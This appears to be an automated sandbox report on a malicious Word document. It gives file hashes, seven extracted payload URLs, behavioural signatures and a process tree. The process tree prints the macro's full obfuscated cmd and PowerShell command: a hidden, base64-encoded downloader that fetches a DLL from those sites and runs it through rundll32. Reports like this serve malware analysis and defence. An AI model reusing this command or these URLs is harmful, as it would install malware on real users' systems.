Analysis
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max time kernel
139s -
max time network
133s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
14-01-2021 07:42
Behavioral task
behavioral1
Sample
lijst 94536_419728.doc
Resource
win7v20201028
Behavioral task
behavioral2
Sample
lijst 94536_419728.doc
Resource
win10v20201028
General
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Target
lijst 94536_419728.doc
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Size
159KB
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MD5
7331da42502b2800e59977fe14339b12
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SHA1
eec204604a834ab9d67d17cf1b32be47f99949c3
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SHA256
835af12782ca2dbae6295295570220a669cad1e2dbb5e0dfec640ad4bf4a160e
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SHA512
19a3034ee69bec464f0c035b18af6fcdb07f7c238ee79c6eda4efc048cea5e91ed74e07e5f23f1d4a37d6dea6cbb551e6e4b3ea2e5bca6dc9d562e3b24467a56
Malware Config
Extracted
http://ketorecipesfit.com/wp-admin/afanv/
http://mertelofis.com/wp-content/As0/
http://givingthanksdaily.com/CP/
http://datawyse.net/0X3QY/
http://cs.lcxxny.com/wp-includes/E3U8nn/
http://makiyazhdoma.ru/blocked/tgEeW8M/
http://trustseal.enamad.ir.redshopfa.com/admit/wJJvvG/
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 204 3464 cmd.exe -
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exerundll32.exeflow pid process 24 2268 powershell.exe 29 4052 rundll32.exe -
Loads dropped DLL 1 IoCs
Processes:
rundll32.exepid process 3868 rundll32.exe -
Drops file in System32 directory 1 IoCs
Processes:
rundll32.exedescription ioc process File opened for modification C:\Windows\SysWOW64\Yjzzn\djir.cwt rundll32.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 648 WINWORD.EXE 648 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 7 IoCs
Processes:
powershell.exerundll32.exepid process 2268 powershell.exe 2268 powershell.exe 2268 powershell.exe 4052 rundll32.exe 4052 rundll32.exe 4052 rundll32.exe 4052 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2268 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 648 WINWORD.EXE 648 WINWORD.EXE 648 WINWORD.EXE 648 WINWORD.EXE 648 WINWORD.EXE 648 WINWORD.EXE 648 WINWORD.EXE -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
cmd.exepowershell.exerundll32.exerundll32.exedescription pid process target process PID 204 wrote to memory of 2956 204 cmd.exe msg.exe PID 204 wrote to memory of 2956 204 cmd.exe msg.exe PID 204 wrote to memory of 2268 204 cmd.exe powershell.exe PID 204 wrote to memory of 2268 204 cmd.exe powershell.exe PID 2268 wrote to memory of 2152 2268 powershell.exe rundll32.exe PID 2268 wrote to memory of 2152 2268 powershell.exe rundll32.exe PID 2152 wrote to memory of 3868 2152 rundll32.exe rundll32.exe PID 2152 wrote to memory of 3868 2152 rundll32.exe rundll32.exe PID 2152 wrote to memory of 3868 2152 rundll32.exe rundll32.exe PID 3868 wrote to memory of 4052 3868 rundll32.exe rundll32.exe PID 3868 wrote to memory of 4052 3868 rundll32.exe rundll32.exe PID 3868 wrote to memory of 4052 3868 rundll32.exe rundll32.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\lijst 94536_419728.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
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C:\Windows\system32\cmd.execmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc cwBlAHQALQBWAEEAUgBJAEEAYgBMAGUAIAAgAG4AaQA5ADcARAAgACAAKAAgACAAWwBUAFkAcABlAF0AKAAiAHsANQB9AHsAMAB9AHsAMgB9AHsAMQB9AHsANAB9AHsAMwB9ACIAIAAtAEYAJwB0AEUAJwAsACcAUgBFACcALAAnAG0ALgBpAG8ALgBEAEkAJwAsACcATwBSAFkAJwAsACcAYwB0ACcALAAnAHMAWQBzACcAKQApACAAOwBTAGUAVAAtAEkAVABlAG0AIAAgACgAIgBWAGEAIgArACIAUgBpACIAKwAiAEEAYgBMAEUAOgBrAGgAMAAiACsAIgB6AHEAeQAiACkAIAAgACgAWwBUAHkAUABFAF0AKAAiAHsAMAB9AHsAMgB9AHsANwB9AHsANgB9AHsAMwB9AHsANAB9AHsANQB9AHsAMQB9ACIALQBGACAAJwBzAFkAcwBUAEUAJwAsACcARQBSACcALAAnAE0ALgBOACcALAAnAFMARQAnACwAJwByAHYAaQBjAGUAcABPAGkAbgB0ACcALAAnAG0AQQBuAGEAZwAnACwAJwAuACcALAAnAEUAVAAnACkAIAApACAAIAA7ACQAWgB1AGwANAA1AHAAdgA9ACQAQQA3ADUAUAAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAVQAyADQAQgA7ACQASgA2ADMARgA9ACgAJwBBAF8AJwArACcAOQBKACcAKQA7ACAAIAAkAG4ASQA5ADcARAA6ADoAIgBDAHIARQBgAEEAYABUAGUARABpAGAAUgBFAGMAdABvAHIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHQAJwArACcAZAAnACsAKAAnAFkAJwArACcAQgB2AHYAJwApACsAJwBqACcAKwAnAG4AZQAnACsAJwBlAHQAJwArACgAJwBkAFkARwAnACsAJwBoACcAKwAnAHEAcQBxAGcAdgB0AGQAJwApACsAJwBZACcAKQAuACIAUgBgAEUAYABQAGwAYQBjAGUAIgAoACgAJwB0ACcAKwAnAGQAWQAnACkALAAnAFwAJwApACkAKQA7ACQASQAwADkARQA9ACgAKAAnAEsAJwArACcANQAxACcAKQArACcAWAAnACkAOwAgACQAawBIADAAegBRAHkAOgA6ACIAUwBgAGUAQwBVAHIAYABpAHQAYAB5AFAAUgBPAFQATwBDAE8ATAAiACAAPQAgACgAKAAnAFQAJwArACcAbABzADEAJwApACsAJwAyACcAKQA7ACQARwAwAF8AQgA9ACgAJwBFAF8AJwArACcAMQBMACcAKQA7ACQASQA5AG0AeABoAG0AcwAgAD0AIAAoACcASwA0ACcAKwAnADIATgAnACkAOwAkAFAAOAAxAEIAPQAoACcATgA4ACcAKwAnADkAWQAnACkAOwAkAEwAdAB4AHAAaQA5AGUAPQAkAEgATwBNAEUAKwAoACgAKAAnAEMAJwArACcATQA0AEIAdgB2AGoAbgAnACsAJwBlAGUAQwAnACsAJwBNACcAKQArACcANABHACcAKwAnAGgAJwArACgAJwBxAHEAJwArACcAcQBnACcAKQArACcAdgBDACcAKwAnAE0ANAAnACkALgAiAFIAYABlAHAAbABBAGAAQwBlACIAKAAoACcAQwAnACsAJwBNADQAJwApACwAJwBcACcAKQApACsAJABJADkAbQB4AGgAbQBzACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABFADAAMwBVAD0AKAAoACcASwAyACcAKwAnADUAJwApACsAJwBBACcAKQA7ACQARQBmADMAMwBzADQAcQA9ACgAJwBBACcAKwAoACcAXQBbAHEAWwBEACcAKwAnADoAJwApACsAKAAnAC8ALwAnACsAJwBrAGUAdABvACcAKQArACcAcgAnACsAKAAnAGUAJwArACcAYwBpACcAKQArACcAcABlACcAKwAoACcAcwBmAGkAdAAnACsAJwAuACcAKwAnAGMAbwBtAC8AdwBwACcAKQArACgAJwAtACcAKwAnAGEAZAAnACkAKwAnAG0AJwArACcAaQAnACsAJwBuACcAKwAnAC8AJwArACgAJwBhAGYAYQAnACsAJwBuACcAKQArACcAdgAvACcAKwAoACcAQAAnACsAJwBBAF0AJwApACsAKAAnAFsAcQAnACsAJwBbAEQAOgAnACkAKwAnAC8AJwArACgAJwAvAG0AZQAnACsAJwByACcAKQArACgAJwB0ACcAKwAnAGUAbABvAGYAaQBzACcAKQArACcALgAnACsAJwBjACcAKwAoACcAbwAnACsAJwBtAC8AdwAnACkAKwAoACcAcAAtACcAKwAnAGMAbwAnACkAKwAnAG4AJwArACgAJwB0ACcAKwAnAGUAbgAnACkAKwAoACcAdAAvACcAKwAnAEEAJwApACsAJwBzACcAKwAoACcAMAAvAEAAJwArACcAQQBdACcAKwAnAFsAJwApACsAJwBxAFsAJwArACcARAA6ACcAKwAoACcALwAnACsAJwAvAGcAaQAnACkAKwAoACcAdgBpACcAKwAnAG4AJwApACsAJwBnACcAKwAoACcAdABoAGEAJwArACcAbgBrAHMAJwApACsAKAAnAGQAYQAnACsAJwBpACcAKQArACgAJwBsAHkALgBjAG8AJwArACcAbQAnACsAJwAvAEMAUAAvACcAKQArACgAJwBAAEEAJwArACcAXQAnACkAKwAoACcAWwAnACsAJwBxACcAKwAnAFsARAA6AC8ALwBkAGEAdAAnACsAJwBhAHcAeQAnACkAKwAnAHMAZQAnACsAKAAnAC4AbgAnACsAJwBlACcAKQArACcAdAAvACcAKwAoACcAMABYADMAUQAnACsAJwBZACcAKQArACcALwBAACcAKwAoACcAQQBdACcAKwAnAFsAcQBbACcAKQArACgAJwBEADoALwAvAGMAJwArACcAcwAnACkAKwAoACcALgBsAGMAeAB4AG4AeQAnACsAJwAuACcAKQArACgAJwBjACcAKwAnAG8AbQAnACkAKwAnAC8AdwAnACsAJwBwACcAKwAnAC0AaQAnACsAKAAnAG4AYwAnACsAJwBsACcAKQArACgAJwB1AGQAJwArACcAZQBzACcAKwAnAC8AJwArACcARQAzACcAKwAnAFUAOABuAG4ALwBAAEEAXQAnACsAJwBbAHEAWwBEADoAJwArACcALwAnACsAJwAvAG0AJwApACsAKAAnAGEAJwArACcAawBpACcAKQArACcAeQAnACsAKAAnAGEAegBoACcAKwAnAGQAJwApACsAKAAnAG8AbQAnACsAJwBhAC4AcgAnACsAJwB1ACcAKQArACcALwAnACsAJwBiACcAKwAoACcAbABvAGMAawBlACcAKwAnAGQAJwArACcALwB0AGcAJwApACsAJwBFAGUAJwArACcAVwAnACsAKAAnADgATQAnACsAJwAvACcAKQArACgAJwBAAEEAJwArACcAXQBbAHEAJwArACcAWwBEADoALwAvACcAKQArACcAdAAnACsAKAAnAHIAJwArACcAdQBzAHQAcwAnACsAJwBlAGEAbAAuAGUAbgAnACkAKwAoACcAYQAnACsAJwBtAGEAZAAuACcAKwAnAGkAcgAnACkAKwAoACcALgByACcAKwAnAGUAZAAnACkAKwAnAHMAaAAnACsAKAAnAG8AcAAnACsAJwBmAGEALgBjACcAKwAnAG8AbQAvAGEAJwApACsAKAAnAGQAbQAnACsAJwBpAHQAJwArACcALwB3AEoASgB2AHYARwAvACcAKQApAC4AIgByAEUAcABsAEEAYABDAGUAIgAoACgAKAAnAEEAJwArACcAXQBbAHEAJwApACsAJwBbAEQAJwApACwAKABbAGEAcgByAGEAeQBdACgAKAAnAGQAcwAnACsAKAAnAGUAdwAnACsAJwBmACcAKQApACwAKAAoACcAdwBlACcAKwAnAHYAJwApACsAJwB3AGUAJwApACkALAAoACgAJwBhAGUAJwArACcAZgAnACkAKwAnAGYAJwApACwAKAAnAGgAdAAnACsAJwB0AHAAJwApACkAWwAyAF0AKQAuACIAcwBwAGAATABpAFQAIgAoACQATwA3ADMATAAgACsAIAAkAFoAdQBsADQANQBwAHYAIAArACAAJABBAF8ANABDACkAOwAkAEEAOAAzAEsAPQAoACgAJwBVADQAJwArACcAXwAnACkAKwAnAE0AJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABRAHYAdABuAGQAdgBfACAAaQBuACAAJABFAGYAMwAzAHMANABxACkAewB0AHIAeQB7ACgAJgAoACcATgAnACsAJwBlAHcALQBPAGIAagAnACsAJwBlAGMAdAAnACkAIABTAFkAUwBUAEUATQAuAG4AZQBUAC4AVwBFAEIAYwBsAGkAZQBOAFQAKQAuACIAZABPAHcATgBgAEwATwBBAGQAYABGAEkATABFACIAKAAkAFEAdgB0AG4AZAB2AF8ALAAgACQATAB0AHgAcABpADkAZQApADsAJABOADEAMQBDAD0AKAAoACcASQAnACsAJwA5ADMAJwApACsAJwBLACcAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABMAHQAeABwAGkAOQBlACkALgAiAGwARQBuAGAAZwBgAFQAaAAiACAALQBnAGUAIAA0ADYAOAA1ADUAKQAgAHsAJgAoACcAcgB1ACcAKwAnAG4AZABsAGwAJwArACcAMwAyACcAKQAgACQATAB0AHgAcABpADkAZQAsACgAJwBTACcAKwAoACcAaAAnACsAJwBvACcAKwAnAHcARABpAGEAbAAnACkAKwAoACcAbwBnACcAKwAnAEEAJwApACkALgAiAHQAbwBzAFQAYABSAGkAYABOAGcAIgAoACkAOwAkAFgAMgBfAEYAPQAoACcATAA3ACcAKwAnADIASwAnACkAOwBiAHIAZQBhAGsAOwAkAEwAOAA4AFgAPQAoACcAUQAwACcAKwAnADcARwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEYAXwA2AEMAPQAoACgAJwBOADIAJwArACcAMAAnACkAKwAnAFAAJwApAA==1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\msg.exemsg Admin /v Word experienced an error trying to open the file.2⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w hidden -enc cwBlAHQALQBWAEEAUgBJAEEAYgBMAGUAIAAgAG4AaQA5ADcARAAgACAAKAAgACAAWwBUAFkAcABlAF0AKAAiAHsANQB9AHsAMAB9AHsAMgB9AHsAMQB9AHsANAB9AHsAMwB9ACIAIAAtAEYAJwB0AEUAJwAsACcAUgBFACcALAAnAG0ALgBpAG8ALgBEAEkAJwAsACcATwBSAFkAJwAsACcAYwB0ACcALAAnAHMAWQBzACcAKQApACAAOwBTAGUAVAAtAEkAVABlAG0AIAAgACgAIgBWAGEAIgArACIAUgBpACIAKwAiAEEAYgBMAEUAOgBrAGgAMAAiACsAIgB6AHEAeQAiACkAIAAgACgAWwBUAHkAUABFAF0AKAAiAHsAMAB9AHsAMgB9AHsANwB9AHsANgB9AHsAMwB9AHsANAB9AHsANQB9AHsAMQB9ACIALQBGACAAJwBzAFkAcwBUAEUAJwAsACcARQBSACcALAAnAE0ALgBOACcALAAnAFMARQAnACwAJwByAHYAaQBjAGUAcABPAGkAbgB0ACcALAAnAG0AQQBuAGEAZwAnACwAJwAuACcALAAnAEUAVAAnACkAIAApACAAIAA7ACQAWgB1AGwANAA1AHAAdgA9ACQAQQA3ADUAUAAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAVQAyADQAQgA7ACQASgA2ADMARgA9ACgAJwBBAF8AJwArACcAOQBKACcAKQA7ACAAIAAkAG4ASQA5ADcARAA6ADoAIgBDAHIARQBgAEEAYABUAGUARABpAGAAUgBFAGMAdABvAHIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHQAJwArACcAZAAnACsAKAAnAFkAJwArACcAQgB2AHYAJwApACsAJwBqACcAKwAnAG4AZQAnACsAJwBlAHQAJwArACgAJwBkAFkARwAnACsAJwBoACcAKwAnAHEAcQBxAGcAdgB0AGQAJwApACsAJwBZACcAKQAuACIAUgBgAEUAYABQAGwAYQBjAGUAIgAoACgAJwB0ACcAKwAnAGQAWQAnACkALAAnAFwAJwApACkAKQA7ACQASQAwADkARQA9ACgAKAAnAEsAJwArACcANQAxACcAKQArACcAWAAnACkAOwAgACQAawBIADAAegBRAHkAOgA6ACIAUwBgAGUAQwBVAHIAYABpAHQAYAB5AFAAUgBPAFQATwBDAE8ATAAiACAAPQAgACgAKAAnAFQAJwArACcAbABzADEAJwApACsAJwAyACcAKQA7ACQARwAwAF8AQgA9ACgAJwBFAF8AJwArACcAMQBMACcAKQA7ACQASQA5AG0AeABoAG0AcwAgAD0AIAAoACcASwA0ACcAKwAnADIATgAnACkAOwAkAFAAOAAxAEIAPQAoACcATgA4ACcAKwAnADkAWQAnACkAOwAkAEwAdAB4AHAAaQA5AGUAPQAkAEgATwBNAEUAKwAoACgAKAAnAEMAJwArACcATQA0AEIAdgB2AGoAbgAnACsAJwBlAGUAQwAnACsAJwBNACcAKQArACcANABHACcAKwAnAGgAJwArACgAJwBxAHEAJwArACcAcQBnACcAKQArACcAdgBDACcAKwAnAE0ANAAnACkALgAiAFIAYABlAHAAbABBAGAAQwBlACIAKAAoACcAQwAnACsAJwBNADQAJwApACwAJwBcACcAKQApACsAJABJADkAbQB4AGgAbQBzACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABFADAAMwBVAD0AKAAoACcASwAyACcAKwAnADUAJwApACsAJwBBACcAKQA7ACQARQBmADMAMwBzADQAcQA9ACgAJwBBACcAKwAoACcAXQBbAHEAWwBEACcAKwAnADoAJwApACsAKAAnAC8ALwAnACsAJwBrAGUAdABvACcAKQArACcAcgAnACsAKAAnAGUAJwArACcAYwBpACcAKQArACcAcABlACcAKwAoACcAcwBmAGkAdAAnACsAJwAuACcAKwAnAGMAbwBtAC8AdwBwACcAKQArACgAJwAtACcAKwAnAGEAZAAnACkAKwAnAG0AJwArACcAaQAnACsAJwBuACcAKwAnAC8AJwArACgAJwBhAGYAYQAnACsAJwBuACcAKQArACcAdgAvACcAKwAoACcAQAAnACsAJwBBAF0AJwApACsAKAAnAFsAcQAnACsAJwBbAEQAOgAnACkAKwAnAC8AJwArACgAJwAvAG0AZQAnACsAJwByACcAKQArACgAJwB0ACcAKwAnAGUAbABvAGYAaQBzACcAKQArACcALgAnACsAJwBjACcAKwAoACcAbwAnACsAJwBtAC8AdwAnACkAKwAoACcAcAAtACcAKwAnAGMAbwAnACkAKwAnAG4AJwArACgAJwB0ACcAKwAnAGUAbgAnACkAKwAoACcAdAAvACcAKwAnAEEAJwApACsAJwBzACcAKwAoACcAMAAvAEAAJwArACcAQQBdACcAKwAnAFsAJwApACsAJwBxAFsAJwArACcARAA6ACcAKwAoACcALwAnACsAJwAvAGcAaQAnACkAKwAoACcAdgBpACcAKwAnAG4AJwApACsAJwBnACcAKwAoACcAdABoAGEAJwArACcAbgBrAHMAJwApACsAKAAnAGQAYQAnACsAJwBpACcAKQArACgAJwBsAHkALgBjAG8AJwArACcAbQAnACsAJwAvAEMAUAAvACcAKQArACgAJwBAAEEAJwArACcAXQAnACkAKwAoACcAWwAnACsAJwBxACcAKwAnAFsARAA6AC8ALwBkAGEAdAAnACsAJwBhAHcAeQAnACkAKwAnAHMAZQAnACsAKAAnAC4AbgAnACsAJwBlACcAKQArACcAdAAvACcAKwAoACcAMABYADMAUQAnACsAJwBZACcAKQArACcALwBAACcAKwAoACcAQQBdACcAKwAnAFsAcQBbACcAKQArACgAJwBEADoALwAvAGMAJwArACcAcwAnACkAKwAoACcALgBsAGMAeAB4AG4AeQAnACsAJwAuACcAKQArACgAJwBjACcAKwAnAG8AbQAnACkAKwAnAC8AdwAnACsAJwBwACcAKwAnAC0AaQAnACsAKAAnAG4AYwAnACsAJwBsACcAKQArACgAJwB1AGQAJwArACcAZQBzACcAKwAnAC8AJwArACcARQAzACcAKwAnAFUAOABuAG4ALwBAAEEAXQAnACsAJwBbAHEAWwBEADoAJwArACcALwAnACsAJwAvAG0AJwApACsAKAAnAGEAJwArACcAawBpACcAKQArACcAeQAnACsAKAAnAGEAegBoACcAKwAnAGQAJwApACsAKAAnAG8AbQAnACsAJwBhAC4AcgAnACsAJwB1ACcAKQArACcALwAnACsAJwBiACcAKwAoACcAbABvAGMAawBlACcAKwAnAGQAJwArACcALwB0AGcAJwApACsAJwBFAGUAJwArACcAVwAnACsAKAAnADgATQAnACsAJwAvACcAKQArACgAJwBAAEEAJwArACcAXQBbAHEAJwArACcAWwBEADoALwAvACcAKQArACcAdAAnACsAKAAnAHIAJwArACcAdQBzAHQAcwAnACsAJwBlAGEAbAAuAGUAbgAnACkAKwAoACcAYQAnACsAJwBtAGEAZAAuACcAKwAnAGkAcgAnACkAKwAoACcALgByACcAKwAnAGUAZAAnACkAKwAnAHMAaAAnACsAKAAnAG8AcAAnACsAJwBmAGEALgBjACcAKwAnAG8AbQAvAGEAJwApACsAKAAnAGQAbQAnACsAJwBpAHQAJwArACcALwB3AEoASgB2AHYARwAvACcAKQApAC4AIgByAEUAcABsAEEAYABDAGUAIgAoACgAKAAnAEEAJwArACcAXQBbAHEAJwApACsAJwBbAEQAJwApACwAKABbAGEAcgByAGEAeQBdACgAKAAnAGQAcwAnACsAKAAnAGUAdwAnACsAJwBmACcAKQApACwAKAAoACcAdwBlACcAKwAnAHYAJwApACsAJwB3AGUAJwApACkALAAoACgAJwBhAGUAJwArACcAZgAnACkAKwAnAGYAJwApACwAKAAnAGgAdAAnACsAJwB0AHAAJwApACkAWwAyAF0AKQAuACIAcwBwAGAATABpAFQAIgAoACQATwA3ADMATAAgACsAIAAkAFoAdQBsADQANQBwAHYAIAArACAAJABBAF8ANABDACkAOwAkAEEAOAAzAEsAPQAoACgAJwBVADQAJwArACcAXwAnACkAKwAnAE0AJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABRAHYAdABuAGQAdgBfACAAaQBuACAAJABFAGYAMwAzAHMANABxACkAewB0AHIAeQB7ACgAJgAoACcATgAnACsAJwBlAHcALQBPAGIAagAnACsAJwBlAGMAdAAnACkAIABTAFkAUwBUAEUATQAuAG4AZQBUAC4AVwBFAEIAYwBsAGkAZQBOAFQAKQAuACIAZABPAHcATgBgAEwATwBBAGQAYABGAEkATABFACIAKAAkAFEAdgB0AG4AZAB2AF8ALAAgACQATAB0AHgAcABpADkAZQApADsAJABOADEAMQBDAD0AKAAoACcASQAnACsAJwA5ADMAJwApACsAJwBLACcAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABMAHQAeABwAGkAOQBlACkALgAiAGwARQBuAGAAZwBgAFQAaAAiACAALQBnAGUAIAA0ADYAOAA1ADUAKQAgAHsAJgAoACcAcgB1ACcAKwAnAG4AZABsAGwAJwArACcAMwAyACcAKQAgACQATAB0AHgAcABpADkAZQAsACgAJwBTACcAKwAoACcAaAAnACsAJwBvACcAKwAnAHcARABpAGEAbAAnACkAKwAoACcAbwBnACcAKwAnAEEAJwApACkALgAiAHQAbwBzAFQAYABSAGkAYABOAGcAIgAoACkAOwAkAFgAMgBfAEYAPQAoACcATAA3ACcAKwAnADIASwAnACkAOwBiAHIAZQBhAGsAOwAkAEwAOAA4AFgAPQAoACcAUQAwACcAKwAnADcARwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEYAXwA2AEMAPQAoACgAJwBOADIAJwArACcAMAAnACkAKwAnAFAAJwApAA==2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Bvvjnee\Ghqqqgv\K42N.dll,ShowDialogA3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Bvvjnee\Ghqqqgv\K42N.dll,ShowDialogA4⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Yjzzn\djir.cwt",ShowDialogA5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\Bvvjnee\Ghqqqgv\K42N.dllMD5
b875cfc28eebeda699706968ad69179a
SHA16839916da90b8d6e6ee51992f980d6013c73c901
SHA256508755b2d1c48a6dcd6e1def82234883a76bf0b4ab0d92ca9a6f6770f7415ada
SHA5124c552edcfb8c5f0b13279fecb380dbefd198cdbc46057b39be523044e21c4c6b2ba7496b0db01ebeef1dd73865c09ffd0bd8db91a35ac82b45d74cf0b0c84be6
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\Users\Admin\Bvvjnee\Ghqqqgv\K42N.dllMD5
b875cfc28eebeda699706968ad69179a
SHA16839916da90b8d6e6ee51992f980d6013c73c901
SHA256508755b2d1c48a6dcd6e1def82234883a76bf0b4ab0d92ca9a6f6770f7415ada
SHA5124c552edcfb8c5f0b13279fecb380dbefd198cdbc46057b39be523044e21c4c6b2ba7496b0db01ebeef1dd73865c09ffd0bd8db91a35ac82b45d74cf0b0c84be6
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memory/648-2-0x000001EB4E160000-0x000001EB4E797000-memory.dmpFilesize
6.2MB
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memory/2152-8-0x0000000000000000-mapping.dmp
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memory/2268-4-0x0000000000000000-mapping.dmp
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memory/2268-5-0x00007FF917600000-0x00007FF917FEC000-memory.dmpFilesize
9.9MB
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memory/2268-6-0x000001C734300000-0x000001C734301000-memory.dmpFilesize
4KB
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memory/2268-7-0x000001C7344B0000-0x000001C7344B1000-memory.dmpFilesize
4KB
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memory/2956-3-0x0000000000000000-mapping.dmp
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memory/3868-10-0x0000000000000000-mapping.dmp
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memory/4052-12-0x0000000000000000-mapping.dmp